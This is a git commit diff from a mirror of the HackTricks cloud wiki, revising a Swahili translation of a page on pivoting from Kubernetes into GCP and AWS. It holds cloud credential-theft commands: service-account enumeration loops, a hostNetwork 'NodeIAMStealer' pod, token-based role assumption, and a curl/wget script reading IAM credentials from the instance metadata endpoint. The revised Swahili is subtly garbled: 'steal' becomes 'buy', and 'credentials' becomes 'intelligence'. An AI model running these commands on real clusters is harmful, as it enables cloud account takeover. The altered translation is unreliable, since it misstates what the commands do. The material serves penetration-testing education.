mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 11:44:59 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-pivotin
This commit is contained in:
@@ -27,7 +27,7 @@ Njia ya kutoa ufikiaji kwa GSA kwa GKE cluser ni kwa kuziunganisha kwa njia hii:
|
||||
```bash
|
||||
Copy codekubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
- Unda Siri ya Kubernetes inayoshikilia hati za akaunti ya huduma ya GCP unayotaka kutoa ruhusa kwa klasta ya GKE. Unaweza kufanya hivi kwa kutumia zana ya amri ya `gcloud`, kama inavyoonyeshwa katika mfano ufuatao:
|
||||
- Unda Siri ya Kubernetes inayoshikilia hati za akaunti ya huduma ya GCP unayotaka kutoa ufikiaji kwa klasta ya GKE. Unaweza kufanya hivyo kwa kutumia zana ya amri ya `gcloud`, kama inavyoonyeshwa katika mfano ufuatao:
|
||||
```bash
|
||||
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
@@ -40,26 +40,26 @@ Copy codekubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Katika **hatua ya pili** ilipangwa **siri za GSA kama siri ya KSA**. Kisha, ikiwa unaweza **kusoma siri hiyo** kutoka **ndani** ya **GKE** klasta, unaweza **kuinua hadi akaunti hiyo ya huduma ya GCP**.
|
||||
> Katika **hatua ya pili** ilipangwa **akili za GSA kama siri ya KSA**. Kisha, ikiwa unaweza **kusoma hiyo siri** kutoka **ndani** ya **GKE** klasta, unaweza **kuinua hadi hiyo GCP huduma akaunti**.
|
||||
|
||||
### Utambulisho wa Kazi ya GKE
|
||||
### GKE Workload Identity
|
||||
|
||||
Kwa Utambulisho wa Kazi, tunaweza kuunda [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) ili kutenda kama [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods zinazotembea na akaunti ya huduma ya Kubernetes zitauthenticate kiotomatiki kama akaunti ya huduma ya Google wanapofikia Google Cloud APIs.
|
||||
Kwa Workload Identity, tunaweza kuunda [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) ili kutenda kama [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods zinazotembea na Kubernetes service account zitauthenticate kiotomatiki kama Google service account wanapofikia Google Cloud APIs.
|
||||
|
||||
Mfululizo wa **hatua za kwanza** za kuwezesha tabia hii ni **kuwezesha Utambulisho wa Kazi katika GCP** ([**hatua**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) na kuunda GCP SA unayotaka k8s kuiga.
|
||||
Mfululizo wa **hatua za kwanza** za kuwezesha tabia hii ni **kuwezesha Workload Identity katika GCP** ([**hatua**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) na kuunda GCP SA unayotaka k8s kuiga.
|
||||
|
||||
- **Washa Utambulisho wa Kazi** kwenye klasta mpya
|
||||
- **Washa Workload Identity** kwenye klasta mpya
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
- **Unda/Sasisha nodepool mpya** (Vikundi vya Autopilot havihitaji hii)
|
||||
- **Unda/Sasisha nodepool mpya** (Vikundi vya Autopilot havihitaji hili)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- Unda **Akaunti ya Huduma ya GCP ili kujifanya** kutoka K8s yenye ruhusa za GCP:
|
||||
- Unda **GCP Service Account ya kuiga** kutoka K8s yenye ruhusa za GCP:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
@@ -126,7 +126,7 @@ gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-
|
||||
> Kama mshambuliaji ndani ya K8s unapaswa **kutafuta SAs** zenye **`iam.gke.io/gcp-service-account` annotation** kwani hiyo inaonyesha kwamba SA inaweza kufikia kitu katika GCP. Chaguo lingine lingekuwa kujaribu kutumia kila KSA katika klasta na kuangalia kama ina ufikiaji.\
|
||||
> Kutoka GCP daima ni ya kuvutia kuorodhesha viunganishi na kujua **ni ufikiaji gani unatoa kwa SAs ndani ya Kubernetes**.
|
||||
|
||||
Hii ni script ya urahisi **kuzunguka juu ya maelezo ya pods** **ikiangalia** hiyo **annotation**:
|
||||
Hii ni script ya urahisi **kuzunguka juu ya maelezo yote ya pods** **ikiangalia** hiyo **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Njia (ya zamani) ya kutoa IAM Roles kwa Pods ni kutumia [**Kiam**](https://github.com/uswitch/kiam) au [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Kimsingi unahitaji kuendesha **daemonset** katika klasta yako yenye **aina ya IAM role yenye mamlaka.** Hii daemonset itakuwa ile itakayotoa ufikiaji wa IAM roles kwa pods zinazohitaji.
|
||||
Njia (ya zamani) ya kutoa IAM Roles kwa Pods ni kutumia [**Kiam**](https://github.com/uswitch/kiam) au [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Kimsingi, unahitaji kuendesha **daemonset** katika klasta yako yenye **aina ya IAM role yenye mamlaka.** Hii daemonset itakuwa ile itakayotoa ufikiaji wa IAM roles kwa pods zinazohitaji.
|
||||
|
||||
Kwanza kabisa unahitaji kuunda **ni roles zipi zinaweza kufikiwa ndani ya namespace**, na unafanya hivyo kwa kutumia annotation ndani ya kitu cha namespace:
|
||||
Kwanza kabisa, unahitaji kusanidi **ni roles zipi zinaweza kufikiwa ndani ya namespace**, na unafanya hivyo kwa kutumia annotation ndani ya kitu cha namespace:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
Mara tu namespace imewekwa na majukumu ya IAM ambayo Pods zinaweza kuwa nayo unaweza **kuonyesha jukumu unalotaka kwenye kila ufafanuzi wa pod kwa kitu kama**:
|
||||
Mara tu namespace imewekwa na majukumu ya IAM, Pods zinaweza kuwa na **onyesha jukumu unalotaka kwenye kila ufafanuzi wa pod kwa kitu kama**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
@@ -171,7 +171,7 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kama mshambuliaji, ikiwa **utapata hizi alama** katika pods au namespaces au seva ya kiam/kube2iam inayoendesha (katika kube-system labda) unaweza **kujifanya kila r**oli ambayo tayari **inatumiwa na pods** na zaidi (ikiwa una ufikiaji wa akaunti ya AWS orodhesha majukumu).
|
||||
> Kama mshambuliaji, ikiwa **utapata hizi alama** katika pods au namespaces au seva ya kiam/kube2iam inayoendesha (katika kube-system labda) unaweza **kujifanya kuwa kila r**oli ambayo tayari **inatumiwa na pods** na zaidi (ikiwa una ufikiaji wa akaunti ya AWS orodhesha majukumu).
|
||||
|
||||
#### Unda Pod na IAM Role
|
||||
|
||||
@@ -221,7 +221,7 @@ Ili **kupata aws kwa kutumia token** kutoka `/var/run/secrets/eks.amazonaws.com/
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kama mshambuliaji, ikiwa unaweza kuhesabu klasta ya K8s, angalia **akaunti za huduma zenye anoteshoni hiyo** ili **kuinua hadi AWS**. Ili kufanya hivyo, tu **exec/create** **pod** ukitumia moja ya **akaunti za huduma zenye mamlaka** na kuiba tokeni.
|
||||
> Kama mshambuliaji, ikiwa unaweza kuhesabu klasta ya K8s, angalia **akaunti za huduma zenye anoteshoni hiyo** ili **kuinua hadi AWS**. Kufanya hivyo, tu **exec/create** **pod** ukitumia moja ya **akaunti za huduma zenye mamlaka** na kuiba tokeni.
|
||||
>
|
||||
> Zaidi ya hayo, ikiwa uko ndani ya pod, angalia kwa mabadiliko ya mazingira kama **AWS_ROLE_ARN** na **AWS_WEB_IDENTITY_TOKEN.**
|
||||
|
||||
@@ -234,7 +234,7 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Pata Pods a SAs zenye Majukumu ya IAM katika Klasta
|
||||
### Pata Pods a SAs zenye IAM Roles katika Klasta
|
||||
|
||||
Hii ni skripti ya urahisi **kuzunguka juu ya pods zote na maelezo ya sas** **ikiangalia** anoteshoni hiyo:
|
||||
```bash
|
||||
@@ -255,17 +255,17 @@ done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Role
|
||||
|
||||
Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba IAM Roles kwa kutumia pods, lakini kumbuka kwamba **Node ya** K8s cluster itakuwa **kigezo ndani ya wingu**. Hii inamaanisha kwamba Node ina uwezekano mkubwa wa **kuwa na IAM role mpya ambayo unaweza kuiba** (_kumbuka kwamba kwa kawaida nodes zote za K8s cluster zitakuwa na IAM role sawa, hivyo huenda isiwe na maana kujaribu kuangalia kwenye kila node_).
|
||||
Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba IAM Roles kwa kutumia pods, lakini kumbuka kwamba **Node ya** K8s cluster itakuwa **kifaa ndani ya wingu**. Hii ina maana kwamba Node ina uwezekano mkubwa wa **kuwa na IAM role mpya ambayo unaweza kuiba** (_kumbuka kwamba kwa kawaida nodes zote za K8s cluster zitakuwa na IAM role sawa, hivyo huenda isiwe na maana kujaribu kuangalia kwenye kila node_).
|
||||
|
||||
Hata hivyo, kuna hitaji muhimu la kufikia metadata endpoint kutoka kwa node, unahitaji kuwa kwenye node (ssh session?) au angalau kuwa na mtandao sawa:
|
||||
Hata hivyo, kuna hitaji muhimu ili kufikia metadata endpoint kutoka kwa node, unahitaji kuwa kwenye node (ssh session?) au angalau kuwa na mtandao sawa:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### Pora Token ya IAM Role
|
||||
### Kununua Token ya IAM Role
|
||||
|
||||
Kabla tulijadili jinsi ya **kuunganisha IAM Roles na Pods** au hata jinsi ya **kutoroka hadi Node ili kupora IAM Role** ambayo mfano umeunganishwa nayo.
|
||||
Awali tulijadili jinsi ya **kuunganisha IAM Roles kwa Pods** au hata jinsi ya **kutoroka hadi Node ili kununua IAM Role** ambayo mfano umeunganishwa nayo.
|
||||
|
||||
Unaweza kutumia skripti ifuatayo **kupora** **IAM role credentials** zako mpya za kazi ngumu:
|
||||
Unaweza kutumia skripti ifuatayo ili **kununua** akiba yako mpya ya **IAM role credentials**:
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
|
||||
Reference in New Issue
Block a user